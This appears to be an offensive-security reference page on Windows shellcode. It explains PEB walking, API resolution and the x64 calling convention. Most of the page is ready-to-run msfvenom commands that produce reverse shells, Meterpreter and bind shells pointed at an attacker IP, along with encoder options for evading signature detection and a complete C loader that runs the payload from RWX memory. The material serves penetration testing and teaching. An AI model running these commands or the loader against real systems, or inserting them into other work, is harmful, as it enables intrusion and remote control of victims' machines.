Windows Shellcode
Overview
Windows shellcode differs fundamentally from Linux shellcode. Linux shellcode calls the kernel directly via syscall numbers that are stable across versions. Windows shellcode must resolve Win32 API function addresses at runtime because DLL base addresses change with every Windows release, patch, and due to ASLR.
The standard technique is PEB walking — navigating Windows internal structures
to find loaded DLL base addresses, then parsing the DLL's export table to
locate functions like WinExec, CreateProcessA, or LoadLibraryA.
ATT&CK Mapping
- Tactic: TA0002 - Execution
- Technique: T1059 - Command and Scripting Interpreter
Prerequisites
- msfvenom (primary tool for generating Windows shellcode)
- Understanding of Windows PE format and API resolution concepts
- Cross-compilation tools (if compiling on Linux):
x86_64-w64-mingw32-gcc
Windows API Resolution
Windows shellcode cannot hardcode API addresses — they change between OS versions and due to ASLR. Instead, shellcode resolves functions at runtime through a process known as PEB walking.
PEB Walking Concept
- Access the Process Environment Block (PEB) via the Thread Environment Block
(TEB), stored at
gs:[0x60](x64) orfs:[0x30](x86) - From the PEB, access
PEB->Ldr(PEB_LDR_DATA) — contains the loaded module list - Walk the
InMemoryOrderModuleListto find the target DLL (e.g.,kernel32.dll) - Parse the DLL's PE export directory to find the function by name or hash
- Call the resolved function address
Common API Targets
| DLL | Function | Purpose |
|---|---|---|
| kernel32.dll | WinExec |
Execute a command |
| kernel32.dll | CreateProcessA |
Spawn a process |
| kernel32.dll | LoadLibraryA |
Load additional DLLs |
| kernel32.dll | GetProcAddress |
Resolve function by name |
| kernel32.dll | VirtualAlloc |
Allocate executable memory |
| kernel32.dll | ExitProcess |
Clean exit |
| ws2_32.dll | WSAStartup |
Initialize Winsock |
| ws2_32.dll | WSASocketA |
Create network socket |
| ws2_32.dll | connect |
Connect to remote host |
Once GetProcAddress and LoadLibraryA are resolved, any other function in
any DLL can be loaded dynamically.
msfvenom Windows Shellcode
msfvenom is the primary tool for generating Windows shellcode. It handles PEB walking and API resolution internally.
# msfvenom
# https://github.com/rapid7/metasploit-framework
# Execute calc.exe (testing payload)
msfvenom -p windows/x64/exec CMD=calc.exe -f c
# Execute cmd.exe
msfvenom -p windows/x64/exec CMD=cmd.exe -f c
# Reverse shell (staged — requires Metasploit handler)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c
# Reverse shell (stageless — standalone)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c
# Meterpreter reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c
# Bind shell
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f c
# Avoid bad characters (triggers encoding)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 \
-b '\x00\x0a\x0d' -f c
# Output as raw binary
msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin
# Output as Python
msfvenom -p windows/x64/exec CMD=calc.exe -f python
# Output as C# byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
# Output as PowerShell byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f ps1
x86 (32-bit) Windows Payloads
# msfvenom
# https://github.com/rapid7/metasploit-framework
# 32-bit reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c
# 32-bit meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c
Staged vs Stageless
| Type | Payload Example | Size | Requirement |
|---|---|---|---|
| Staged | windows/x64/meterpreter/reverse_tcp |
Small (~510 bytes) | Metasploit handler required |
| Stageless | windows/x64/meterpreter_reverse_tcp |
Large (~227 KB) | Self-contained |
Staged payloads contain a small first stage that connects back and downloads the full payload. Stageless payloads contain everything needed to execute independently.
Encoders
Encoders transform shellcode to avoid bad characters or evade basic signature detection:
# msfvenom
# https://github.com/rapid7/metasploit-framework
# List available encoders
msfvenom --list encoders
# Encode with shikata_ga_nai (x86 only)
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 \
-e x86/shikata_ga_nai -i 3 -f c
# Encode x64 payload with xor_dynamic
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 \
-e x64/xor_dynamic -f c
Key flags:
- -e — encoder name
- -i — number of encoding iterations
- -b — bad characters (msfvenom auto-selects an encoder when -b is used)
Windows Calling Convention (x64)
Windows x64 uses the Microsoft x64 calling convention, which differs from the System V convention used on Linux:
| Register | Purpose |
|---|---|
| RCX | 1st argument |
| RDX | 2nd argument |
| R8 | 3rd argument |
| R9 | 4th argument |
| Stack | 5th+ arguments |
| RAX | Return value |
Windows x64 also requires a 32-byte "shadow space" on the stack before every function call — space reserved for the callee to spill register arguments.
Cross-Compiling Windows Binaries on Linux
For testing Windows shellcode loaders on Linux:
# Install MinGW cross-compiler
sudo apt install -y mingw-w64
# Compile a Windows shellcode loader (x64)
x86_64-w64-mingw32-gcc -o loader.exe loader.c
# Compile with no protections (for testing)
x86_64-w64-mingw32-gcc -o loader.exe loader.c -Wl,--no-dynamicbase
# Compile 32-bit
i686-w64-mingw32-gcc -o loader32.exe loader.c
Shellcode Loader Template (C)
A basic Windows shellcode loader for testing (compile with MinGW):
// loader.c — cross-compile: x86_64-w64-mingw32-gcc -o loader.exe loader.c
#include <windows.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0..." // replace with msfvenom output
;
int main() {
void *exec = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return 0;
}
This loader:
1. Allocates RWX (read-write-execute) memory with VirtualAlloc
2. Copies the shellcode into the allocated memory
3. Casts the memory to a function pointer and calls it